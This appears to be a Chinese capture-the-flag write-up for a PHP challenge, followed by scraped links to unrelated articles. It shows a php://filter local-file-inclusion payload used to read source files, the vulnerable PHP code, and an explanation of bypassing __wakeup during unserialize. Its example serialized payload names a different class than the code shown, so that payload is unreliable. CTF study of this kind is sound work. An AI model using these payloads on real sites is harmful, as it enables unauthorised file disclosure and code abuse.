filter CTF
filter CTF


输入url
http://dc1ce3ad-eed4-48fd-a068-71aef12f7654.node.vaala.ink?file=demo.php

参考题目filter
php://filter:读取Php文件
?file=php://filter/convert.base64-encode/resource=
http://hhh?file=php://filter/convert.base64-encode/resource=demo.php

解码出来:
查看一下index.php
<?php
error_reporting(0);
if (!$_GET['file'])
echo '?file=demo.php<br>';
else
{
$file = $_GET['file'];
if (strstr($file, "../") || stristr($file, "tp") || stristr($file, "input") || stristr($file,"data"))
exit("Oh god, please no!");
else if (preg_match("/config/i", $file))
exit("i will not show it to you!");
include($file);
}
//play.php
?>
查看一下play.php
<?php
require_once ('config.php');
class Secret
{
public $flag = '';
function __construct($flag)
{
$this->flag = $flag;
}
function __wakeup()
{
$this->flag = "hacker!";
}
function __destruct()
{
if ($this->flag == '114514')
{
global $FLAG;
echo $FLAG;
}
else
echo $this->flag;
}
}
$s = unserialize($_GET['code']);
?>
$s = unserialize($_GET['code']);
反序列化

反序列化 漏洞
php允许保存一个对象方便以后重用:序列化
serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值
unserialize则可以将serialize生成的字符串变换回变量
序列化字符串,表示对象属性个数的值大于实际属性个数时,就会跳过wakeup方法的执行
明确了这些之后,就可以构造出Payload了,需反序列化的对象为:
O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
O:5:”SoFun” 指的是 类:5个字符:SoFun
:2: 指的是 有两个对象
S:7:”\00\00file” 指的是有个属性,有7个字符,名为\00\00file
s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php
值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。
https://www.freebuf.com/news/172507.html
filter CTF的更多相关文章
- django 操作数据库--orm(object relation mapping)---models
思想 django为使用一种新的方式,即:关系对象映射(Object Relational Mapping,简称ORM). PHP:activerecord Java:Hibernate C#:Ent ...
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- php文件包含漏洞(input与filter)
php://input php://input可以读取没有处理过的POST数据.相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置.php:/ ...
- 实战经验丨CTF中文件包含的技巧总结
站在巨人的肩头才会看见更远的世界,这是一篇技术牛人对CTF比赛中文件包含的内容总结,主要是对一些包含点的原理和特征进行归纳分析,并结合实际的例子来讲解如何绕过,全面细致,通俗易懂,掌握这个新技能定会让 ...
- CTF线下防御战 — 让你的靶机变成“铜墙铁壁”
本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...
- 结合order by 解CTF某题
真tmd不容易 <?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '& ...
- 百道CTF刷题记录(一)
简介 最近在刷CTF题,主攻Web,兼职Misc Shiyanbar 0x01 简单的登陆题 简单概括: 考点: %00截断正则 CBC字节翻转攻击 难度: 难 WP:https://blog.csd ...
- 某CTF代码审计题
记一次参加CTF比赛翻车记! 开始还是挺有信心的,毕竟也是经常打一些CTF锻炼,然而比赛发现大佬们平时不显山不漏水的一比赛全出来了!赛后看了一下各题的writeup发现自己的确技不如人啊!借鉴一个 ...
- 20. CTF综合靶机渗透(十三)
靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...
- 成都大学CTF 网络攻防演练平台 WP
web1 输入框那里鼠标右键,审查元素,删除maxlength web2 http://ctf.cdusec.org:8082/web2/?cdusec=tql web3 同上,用火狐hackbar或 ...
随机推荐
- vs输出重定向
1.右键点击解决工程->项目属性 2.配置属性->生成事件->生成后事件 在命令行中输入:"$(TargetPath) >$(outdir)\1.txt" ...
- PowerShell学习笔记一_cmdlet、管道、如何入门
PowerShell文件: .ps1 脚本文件 .psm1 模块文件 .psd1 模块描述文件 cmdlet(命令行) 组成: 动词-名词,例如: 1. Get-Service(获取所有服务),类似于 ...
- Ubuntu查看系统服务
Linux服务是Linux系统非常重要的一环,查看服务,需要用到chkconfig工具,然而在Ubuntu 12.0版本,却没有查找到此命令. 查询stackOverflow获取了正确答案,对于Ubu ...
- cmake 设置属性INTERFACE_INCLUDE_DIRECTORIES,则其它库可以直接 target_link_libraries?
rs项目改为cpm下载 项目 leveldb 和 basiccache, basiccache依赖 leveldb,下载都是在主项目中, 设置 INTERFACE_INCLUDE_DIRECTORI ...
- .net ef 链接 mysql
https://blog.csdn.net/weixin_30394975/article/details/114168133
- java的知识点
java 知识点 1.包装类自带有parse方法 Integer i = 315; int i1 = Integer.parseInt("315"); System.out.pri ...
- Oracle 低版本客户端连接19C报错ORA-28040
# 适用范围12.2+# 问题概述客户使用Oracle11.2客户端连接Oracle 19c的时候,报错: ORA-28040: No matching authentication protocol ...
- linux内核源码编译加制作rpm包
本章主要讲解实际操作步骤,具体理论知识可以自行百度 linux内核官网下载:https://cdn.kernel.org/pub/linux/kernel/ (如图) 根据官网发布的信息分析,目前 ...
- git 指令:丢弃本地所有未提交的更改
git clean -df //丢弃所有 untracked 的文件 git reset --hard //将 tracked 的文件重置到前一个版本
- 【5】python之基础语法
1.编码格式 默认情况下,Python 3 源码文件以 UTF-8 编码,所有字符串都是 unicode 字符串. 当然你也可以为源码文件指定不同的编码: # -*- coding: cp-1252 ...